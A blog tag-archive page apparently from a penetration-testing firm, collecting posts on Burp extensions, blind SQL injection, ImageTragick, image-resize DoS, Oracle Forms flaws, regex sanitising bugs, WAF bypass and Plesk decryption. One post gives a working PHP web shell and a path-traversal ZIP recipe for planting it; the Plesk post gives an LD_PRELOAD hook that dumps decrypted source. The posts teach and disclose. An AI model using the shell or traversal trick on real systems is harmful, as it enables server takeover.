Tag Archives: web

Beyond detection: exploiting blind SQL injections with Burp Collaborator

It’s been a steady trend that most of our pentest projects revolve around web applications and/or involve database backends. The former part is usually made much easier by Burp Suite, which has a built-in scanner capable of identifying (among others) injections regarding latter. However, detection is only half of the work needed to be done; a good pentester will use a SQL injection or similar database-related security hole to widen the coverage of the test (obviously within the project scope). Burp continually improves its scanning engine but provides no means to this further exploitation of these vulnerabilities, so in addition to manual testing, most pentesters use standalone tools. With the new features available since Burp Suite 1.7.09, we’ve found a way to combine the unique talents of Burp with our database exploitation framework, resulting in pretty interesting functionality.

Continue reading Beyond detection: exploiting blind SQL injections with Burp Collaborator

Detecting ImageTragick with Burp Suite Pro

After ImageTragick (CVE-2016–3714) was published, we immediately started thinking about detecting it with Burp, which we usually use for web application testing. Although collaborator would be a perfect fit, as image processing can happen out-of-band, there’s no official way to tap into that functionality from an extension.

The next best thing is timing, where we try to detect remote code execution by injecting the sleep command which delays execution for a specified amount of seconds. By measuring the time it takes to serve a response without and the with the injected content, the difference tells us whether the code actually got executed by the server.

We used rce1.jpg from the ImageTragick PoC collection and modified it to fit our needs. By calling System.nanoTime() before and after the requests and subtracting the values, the time it took for the server to respond could be measured precisely.

Since we already had a Burp extension for image-related issues, this was modified to include an active scan option that detects ImageTragick. The JPEG/PNG/GIF detection part was reused so that it could detect if any parameters contain images, and if so, it replaces each (one at a time) with the modified rce1.jpg payload. The code was released as v0.3 and can be downloaded either in source format (under MIT license) or a compiled JAR for easier usage. Below is an example of a successful detection:

issue screenshot

Header image © Tomas Castelazo, www.tomascastelazo.com / Wikimedia Commons / CC-BY-SA-3.0

You’re not looking at the big picture

When serving image assets, many web developers find it useful to have a feature that scales the image to a size specified in a URL parameter. After all, bandwidth is expensive, latency is killing the mobile web, and letting the frontend guys link to avatar.php?width=64&height=64 pretty straightforward and convenient. However, solutions with those latter two qualities usually have a hard time with security.

As most readers already know and/or figured it out by now, such functionality can not only be used for scaling images down but also making them huge. This usually results in hogging lots of resources on the server, including RAM (pixel buffers), CPU (image transformation algorithms) and sometimes even disk (caching, temporary files). So in most cases, this leads to Denial of Service (DoS), which affects availability but not confidentiality; however, with most issues like this, it can be combined with other techniques to escalate it further.

During our assessments, we’ve found these DoS issues in many applications, including those used in banks and other financial institutions. Even security-minded developers need to think really hard to consider such an innocent feature as something that should be handled with care. On the other hand, detecting the issue manually is not hard, however it’s something that’s easy to miss, especially if the HTTP History submodule of the Burp Suite Proxy is configured to hide image responses as visual clutter.

To solve this, we’ve developed a Burp plugin that can be loaded into Extender, and passively detects if the size of an image reply is included in the request parameters. The source code is available on GitHub under MIT license, with pre-built JAR binaries downloadable from the releases page. It currently recognizes JPEG, PNG and GIF content, and parameters are parsed using Burp’s built-in helpers.

Since dynamically generated web content often has ill-defined Content-Type values, this plugin checks if there’s at least 12 bytes of payload in the response, and if so, the first four bytes are used to decide which parser should be started for one of the three image formats above. As the plugin is only interested in the size of the image, instead of using a full-fledged parser, a simpler (and hopefully faster and more robust) built-in solution is used that tries to be liberal while parsing the image. If the dimensions of the payload could be extracted, the request is analyzed as well to get the parameters. The current version checks if both the width and the height is included in the request, and if so, the following issue is generated.

Burp finding

The plugin in its current form is quite usable, it’s passive behavior means that just by going through a site, all such image rescaling script instances will appear in the list of issues (if the default setting is used, where every request made through the proxy is fed to passive scanning). Future development might include adding an active verification component, but it’s not trivial as this class of vulnerability by design means that a well-built request might grind the whole application to a halt.

We encourage everyone to try the plugin, pull requests are welcome on GitHub!

Finding the salt with SQL inception

Introduction

Web application penetration testing is a well researched area with proven tools and methodologies. Still, new techniques and interesting scenarios come up all the time that create new challenges even after a hundred projects.

In this case study we start with a relatively simple blind SQL injection situation and show how this issue could be exploited in a way that made remote code execution possible. The post will also serve as a reference for using Duncan, our simple framework created to facilitate blind exploitation.

Continue reading Finding the salt with SQL inception

Testing Oracle Forms

SANS Institute accepted my GWAPT Gold Paper about testing Oracle Forms applications, the paper is now published in the Reading Room.

Forms is a typical example of proprietary technology that back in the day might have looked a good idea from business perspective but years later causes serious headaches on both the operational and security sides:

  • Forms uses naively implemented crypto with (effectively) 32-bit RC4
  • The key exchange is trivial to attack to achieve full key recovery
  • Bit-flipping is possible since no integrity checking is implemented
  • Database password set at server side is sent to all clients (you read that correctly)

And in case you’re wondering: applications based on Oracle Forms are still in use, thanks to vendor lock-in…

The full Gold Paper can be downloaded from the website of SANS Institute:

Automated Security Testing of Oracle Forms Applications

The accompanying code is available on GitHub.

Sanitizing input with regex considered harmful

Sanitizing input (as in trying to remove a subset of user input so that the remaining parts become “safe”) is hard to get right in itself. However, many developers doom their protection in the first place by choosing the wrong tool to get it done, in this case, regular expressions (regex for short). While they’re powerful for quite a few purposes, as the old saying goes,

Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems.

During a recent pentest, we found an application that did this by stripping HTML tags from a string by replacing the regular expression <.*?> with an empty string. (Apparently, they haven’t read the best reaction to processing HTML with regexes.) For those wondering about the question mark after the star, it disables the default greedy behavior of the engine, so the expression matches a less-than sign, as few characters as possible of any kind, and a greater-than sign. At first sight, one might think that’s the definition of an HTML tag, and for a minute we also believed it was the case.

In regexes, the dot matches any character. However, the definition of any excludes newlines (ASCII 0x0a, \n) by default in most implementations, while the HTML standard allows for such characters inside tags, which gives us a specific class of tags that are valid in browsers but are not stripped by the above algorithm. Below are some examples of platforms used to implement web applications and their behavior regarding this “challenge”. Some libraries have similar solutions, but only one thing was common in these five languages; by default, the above expression fails the test. For the sake of brevity and readability, examples were produced in interactive shells (REPLs); in case of Java and .NET, Jython and IronPython were used, respectively.

Java

>>> from java.util.regex import Pattern
>>> p = Pattern.compile('<.*?>')
>>> p.matcher('<foobar>').replaceAll('')
u''
>>> p.matcher('<foo\nbar>').replaceAll('')
u'<foo\nbar>'

The official documentation states that dot matches “any character (may or may not match line terminators)”. The link points to a section that says “The regular expression . matches any character except a line terminator unless the DOTALL flag is specified.” [emphasis added] Adding the flag solves the problem, as it can be seen below.

>>> p = Pattern.compile('<.*?>', Pattern.DOTALL)
>>> p.matcher('<foobar>').replaceAll('')
u''
>>> p.matcher('<foo\nbar>').replaceAll('')
u''

Python

>>> import re
>>> re.sub('<.*?>', '', '<foobar>')
''
>>> re.sub('<.*?>', '', '<foo\nbar>')
'<foo\nbar>'

Python follows a similar path, even the flag is called the same: “In the default mode, this matches any character except a newline. If the DOTALL flag has been specified, this matches any character including a newline” [emphasis added].

>>> re.sub('<.*?>', '', '<foobar>', flags=re.DOTALL)
''
>>> re.sub('<.*?>', '', '<foo\nbar>', flags=re.DOTALL)
''

PHP

php > var_dump(preg_replace("/<.*?>/", "", "<foobar>"));
string(0) ""
php > var_dump(preg_replace("/<.*?>/", "", "<foo\nbar>"));
string(9) "<foo
bar>"

Although PHP has an interactive mode (php -a), return values are silently discarded, and var_dump doesn’t escape newlines. However, it clearly illustrates that it behaves just like the others, but PHP doesn’t mention this behavior in the official manual for preg_replace (even though a user comment points it out, it lacks the solution). The PCRE modifiers page has the answer, the s modifier should be used, and it even shows the longer name for it (PCRE_DOTALL), although there’s no way to use it, in contrast with Python’s solution (re.S is equivalent to re.DOTALL).

php > var_dump(preg_replace("/<.*?>/s", "", "<foobar>"));
string(0) ""
php > var_dump(preg_replace("/<.*?>/s", "", "<foo\nbar>"));
string(0) ""

.NET

>>> from System.Text.RegularExpressions import Regex
>>> Regex.Replace('<foobar>', '<.*?>', '')
''
>>> Regex.Replace('<foo\nbar>', '<.*?>', '')
'<foo\nbar>'

Of course, Microsoft surprises noone by having its own solution for the problem. In their documentation on regexes, they also mention that dot “matches any single character except \n”, but you have to figure it out yourself; there’s no link to the Singleline member of RegexOptions.

>>> from System.Text.RegularExpressions import RegexOptions
>>> r = Regex('<.*?>', RegexOptions.Singleline)
>>> r.Replace('<foobar>', '')
''
>>> r.Replace('<foo\nbar>', '')
''

Ruby

irb(main):001:0> "<foobar>".sub!(/<.*?>/, "")
=> ""
irb(main):002:0> "<foo\nbar>".sub!(/<.*?>/, "")
=> nil

Ruby performs as usual, having easy-to-write/hard-to-read shorthands, however, its solution is almost as dumbfounding as the above. Like PHP, it expects modifiers as lowercase characters after the trailing slash (/), but it interprets s as a signal to interpret the regex as SJIS encoding (I never knew it even existed), and wants you to use m (called MULTILINE by the official documentation, adding to the confusion), which is used for other purposes in other regular expression engines.

irb(main):005:0> "<foobar>".sub!(/<.*?>/m, "")
=> ""
irb(main):004:0> "<foo\nbar>".sub!(/<.*?>/m, "")
=> ""

Javascript

> "<foobar>".replace(/<.*?>/, "")
''
> "<foo\nbar>".replace(/<.*?>/, "")
'<foo\nbar>'
> "<foo\nbar>".replace(/<.*?>/m, "")
'<foo\nbar>'

JavaScript has three modifiers (igm), none of them useful for making dot match literally any character. The only solution is to do it explicitly, the best one of these seems to be matching the union of whitespace and non-whitespace characters.

> "<foo\nbar>".replace(/<[\s\S]*?>/, "")
''
> "<foobar>".replace(/<[\s\S]*?>/, "")
''

Conclusion

The above solutions address a single problem only (stripping HTML tags having line breaks), processing untrusted input is much more than this. If you build a web application that must display such content, use a proper library for this purpose, preferably a templating language that performs escaping by default. For other purposes, use a DOM and don’t forget to test for corner cases, including both valid and broken HTML.

Testing websites using ASP.NET Forms Authentication with Burp Suite

Testing a website is usually considered just another day at work, Burp Suite is usually the tool of our choice for automating some of the scans that apply in this field. Assessing the authenticated part of the site is also common, and since Burp can be used as an HTTP proxy, it can capture our session tokens (usually HTTP cookies) and perform scans just like we’d do as humans. This token is usually remain unchanged over the time of the session, and the session itself is kept alive by the scanner activity itself.

However, a few weeks ago, we encountered an ASP.NET site that offered the regular ASP.NET_SessionId cookie and after successful login we got another one called .ASPXFORMSAUTH indicating that the application uses Forms Authentication. We started issuing requests including these two cookies, but within 5 minutes, the server started responding like we’re not logged in. Investigation followed, and we could reproduce that even by sending a request every 10 seconds, after 2 minutes pass from login, the requests with the two original cookies are denied. The operators confirmed that the session timeout is 2 minutes (which is resonable given the normal use-cases of the application), and looking at the responses revealed that around halfway between login and the 2 minutes deadline, a new .ASPXFORMSAUTH cookie is set by the server.

Apparently, Burp Suite ignored such Set-Cookie headers at the time both in its Scanner and Intruder modules, so I wrote a simple plugin that would hook HTTP requests within Burp and behave like a browser for this specific cookie. If such a cookie is received it gets stored as a protected field of the class, and subsequent requests will be modified to include the latest value. Since Burp uses multiple threads, this value also needs locking in order to avoid race conditions. Burp also offers some help with parsing and mangling HTTP headers, so besides hooking HTTP traffic and initialization, the plugin starts by storing a reference to an instance of the IExtensionHelpers interface.

public class BurpExtender implements IBurpExtender, IHttpListener
{
  protected IExtensionHelpers helpers;
  protected String cookie_value = null;
  public static final String COOKIE_NAME = ".ASPXFORMSAUTH";
 
  @Override
  public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
  {
    helpers = callbacks.getHelpers();
    callbacks.setExtensionName("AspxFormAuth");
    callbacks.registerHttpListener(this);
  }

By registering a HTTP listener, the processHttpMessage method will be called by Burp every time an HTTP request is issued, regardless of its source, including the browser, the Scanner or Intruder modules. The messageIsRequest parameter can be used to define different behavior for requests and responses; in case of former, any Cookie: headers with the matching name in the request will be updated to the latest value (if there’s one, hence the null check).

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
{
  if (messageIsRequest)
  {
    synchronized (this) {
      if (cookie_value == null) return;
    }
    byte[] request = messageInfo.getRequest();
    IRequestInfo ri = helpers.analyzeRequest(request);
    List parameters = ri.getParameters();
    for (IParameter parameter : parameters) {
      if (parameter.getType() == IParameter.PARAM_COOKIE &amp;&amp;
          parameter.getName().equals(COOKIE_NAME)) {
        synchronized (this) {
          messageInfo.setRequest(helpers.updateParameter(request,
                helpers.buildParameter(COOKIE_NAME, cookie_value,
                  IParameter.PARAM_COOKIE)));
        }
      }
    }
  }

The only remaining task is feeding the cookie_value member with tokens by parsing responses. Again, the Burp helpers are used to analyze the headers and if a cookie with a matching name is found, its value is stored, taking special care to let only a single thread access the value at a time.

else
{
  IResponseInfo ri = helpers.analyzeResponse(messageInfo.getResponse());
  List cookies = ri.getCookies();
  for (ICookie cookie : cookies) {
    if (cookie.getName().equals(COOKIE_NAME)) {
      synchronized (this) {
        cookie_value = cookie.getValue();
      }
    }
  }
}

Using this technique, we’d been able to perform the assessment, the full source code can be found in a branch of our GitHub repository. If you don’t want to compile it for yourself, a binary JAR is also available on the release page. We’re also proud that since we released the Burp OAuth plugin this one is based on, former has been built upon and improved by SecureIdeas as part of their Co2 plugin.

Compressed file upload and command execution

In this post I would like to share some experiences of a web application hacking project. After I got access to the admin section of the web application I realized that there is a file upload function available for administrators. The application properly denied uploading dynamic scripts (eg.: .php) and it was not possible to bypass this defense. However, the upload function supported compressed file upload and provided automatic decompression also but unfortunately the upload directory did not allow to run PHP files.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

<?php 
if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
}
?>

2. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

b1

WAF bypass made easy

In this post I will share my testing experiences about a web application protected by a web application firewall (WAF). The investigation of the parameters of web interfaces revealed that I can perform XSS attacks in some limited ways. The target implemented blacklist-based filtering that provided some HTML tag and event handler restriction. Since this restriction appeared at quite unusual places I suspected that there might be a WAF in front of the application. To verify my suspicion:

  • I tested the interfaces by random HTTP parameters which contained XSS payload. Most of the time a WAF checks all of the input parameters but the server side validation only checks the expected ones;
  • I used the Wafit tool.

These tests underpinned my assumption: there was indeed some application level firewall in front of my target.

In order to map the filter rules I created a list of HTML4 and HTML5 tags and event handlers based on the information of w3.org. After this I could easily test the allowed tags and event handlers with Burp Suite Professional:

HTML eventsHTML events (click to enlarge)

Untitled2

HTML tags (click to enlarge)

Based on the results we can perform only some browser specific attacks typically against IE/6.0. However, many web applications handle parameters passed by GET and POST methods in the same way. I performed the tests again, now submitting the crafted parameters in the HTTP POST body and found that the WAF didn’t interrupt my request and the application processed my input through the same vulnerable code path. This way I could perform XSS without limitation and surprisingly was able to find an SQL injection issue also.

When you try implement a WAF in your infrastructure the most important key concepts are:

  • Know your system: Collect the applications and HTTP parameters to be protected and understand how they are used (data types, expected format, etc.);
  • Consult somebody with an offensive attitude (like a penetration tester) before you implement the defense;
  • Be aware of the limits of blacklist-based filtering;

Improper WAF implementation can lead to false sense of security that can result in more damage than operating applications with known security issues.

Plesk panel decryption

After I read the description of the Plesk vulnerability CVE-2012-1557 I decided to investigate the application a bit deeper. You can download a fully installed VMware image from the internet so you can skip the install and save some time. The PHP files which belong to the PLESK application are encrypted:

[root@localhost tmp]# cat /usr/local/psa/admin/htdocs/index.php
die(“The file {$_SERVER[‘SCRIPT_FILENAME’]} is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.\n”);
__sw_loader_pragma__(‘P’);
?>
1^:??Zl??9??W??RK?3??^Om??n.#’?N”??64?Z??W?[>?p?vW???`J?1?R?y?E?i38???

First of all I investigated the /usr/local/psa/bin/sw-engine-pleskrun executable which is a modified PHP interpreter:

[root@localhost ~]# /usr/local/psa/bin/sw-engine-pleskrun –help
Usage: sw-engine [options] [-f] [–] [args…]
sw-engine [options] -r [–] [args…]
sw-engine [options] [-B <begin_code>] -R [-E <end_code>] [–] [args…]
sw-engine [options] [-B <begin_code>] -F [-E <end_code>] [–] [args…]
sw-engine [options] — [args…]
sw-engine [options] -a

-a Run interactively
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-e Generate extended information for debugger/profiler
-f Parse and execute .
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r Run PHP without using script tags
-B <begin_code> Run PHP <begin_code> before processing input lines
-R Run PHP for every input line
-F Parse and execute for every input line
-E <end_code> Run PHP <end_code> after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source Output source with stripped comments and whitespace.
-z Load Zend extension .

args… Arguments passed to script. Use — args when first argument
starts with – or script is read from stdin

–ini Show configuration file names

–rf Show information about function .
–rc Show information about class .
–re Show information about extension .
–ri Show configuration for extension .

I tried to inspect the syscalls of the Plesk binary:

[root@localhost tmp]# strace ./sw-engine-pleskrun ../admin/htdocs/index.php
execve(“./sw-engine-pleskrun”, [“./sw-engine-pleskrun”, “../admin/htdocs/index.php”], [/* 23 vars */]) = 0
brk(0) = 0x8dc9000
.
.
.
getppid() = 17921
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb77967e8) = 17923
waitpid(17923, DEBUGGER DETECTED… Bye!
Killed

I did a quick search for the error message in the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep “DEBUGGER DETECTED”
[root@localhost tmp]#

Found nothing, so it seems that the sw-engine-pleskrun binary is just a framework executable and another one does the actual PHP processing. Let’s see which files are accessed by the binary:

[root@localhost tmp]# strings /usr/local/psa/bin/sw-engine-pleskrun | grep -i “/usr”
/usr/bin/sw-engine
/usr/sbin/rblsmtpd
/usr/local/psa/bin/php-cli
/usr/share/awstats
/usr/share/tomcat6
/usr/lib/mailman
/usr/bin
/usr/bin/webalizer
/usr/local/psa

The sw-engine and the php-cli binaries seem to be good targets from the list above. When I ran the php-cli application I got the following message:

[root@localhost tmp]# /usr/local/psa/bin/php-cli /usr/local/psa/admin/htdocs/index.php
Failed loading /usr/lib/php/modules/ioncube_loader_lin_5.3.so: /usr/lib/php/modules/ioncube_loader_lin_5.3.so: cannot open shared object file: No such file or directory
The file /usr/local/psa/admin/htdocs/index.php is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.

Let’s see what our first contestant says when we ask it to parse an encrypted PHP file:

[root@localhost tmp]# /usr/bin/sw-engine /usr/local/psa/admin/htdocs/index.php

Fatal error: Call to undefined function get_gpc() in /usr/local/psa/admin/htdocs/index.php on line 2

Sounds good! Fire up the IDA Pro Disassembler and collect some starting information: Look for the plain strings from the encrypted PHP files in the binary (like “__sw_loader_pragma__(‘P’);”):

ida1

Let see which function references this string:

ida2

By deeper investigating the open_file_for_scanning() function you will see that the BF_decrypt() function constructs the executable PHP code:

ida3

For the quick and effective result – bypass the ptrace, debug the decrypt function, collect the crypto key, etc… – I used the following method:
The open_file_for_scanning() function uses memcpy() to construct the unencrypted PHP code. I created a shared library which redeclares the memcpy function, I used it with the LD_PRELOAD technique and voila, readable source code:

#include
#include

int i=0;

void *memcpy(void *dst,const void *src,size_t len){
  if((strstr(src,”);”) > 0) && (i==0)){
  printf(“%s\n”,src);
  i=1;
}
register char *src_c, *dst_c;
src_c = (char *)src;
dst_c = (char *)dst;

while (len– > 0)
  *dst_c++ = *src_c++;
return dst;
}

 Compile the shared library with the following commands:

[root@localhost ~]# gcc -fPIC -c ld.c -o ld.o
[root@localhost ~]# gcc -shared -o ld.so ld.o

Set up the LD_PRELOAD environment variable and get the PHP source code:

[root@localhost ~]# LD_PRELOAD=/tmp/ld.so /usr/bin/sw-engine /usr/local/psa/admin/htdocs/login_up.php3
require_once(’cmd_loginup.php’);
require_once(‘sso/RelyingParty.php’);

$login_name = rtrim(get_gpc(‘login_name’));
$passwd = get_gpc(‘passwd’);

if ($session->getType() != IS_UNDEFINED && !($login_name && $passwd))
go_to(‘/logout.php3’);

if (!headers_sent())
header(‘X-Plesk: PSA-Key/’ . getKeyProp(‘plesk_key_id’));

$session_created = false;
$ssoAuthentication = null;
….

This method is far from perfect but it is easy, quick and the result is the plain source code. Happy bug hunting! ☺